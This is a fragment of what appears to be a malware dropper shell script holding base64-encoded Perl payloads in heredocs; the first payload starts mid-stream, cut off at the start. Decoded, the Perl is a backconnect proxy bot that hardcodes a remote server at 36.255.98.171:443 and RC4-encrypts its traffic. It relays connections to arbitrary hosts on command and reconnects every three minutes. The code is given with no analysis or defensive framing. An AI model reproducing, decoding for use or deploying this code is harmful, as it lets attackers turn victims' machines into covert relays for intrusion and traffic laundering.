CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= PAYLOAD_EOF } bin_13() { cat << 'PAYLOAD_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNzEnOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 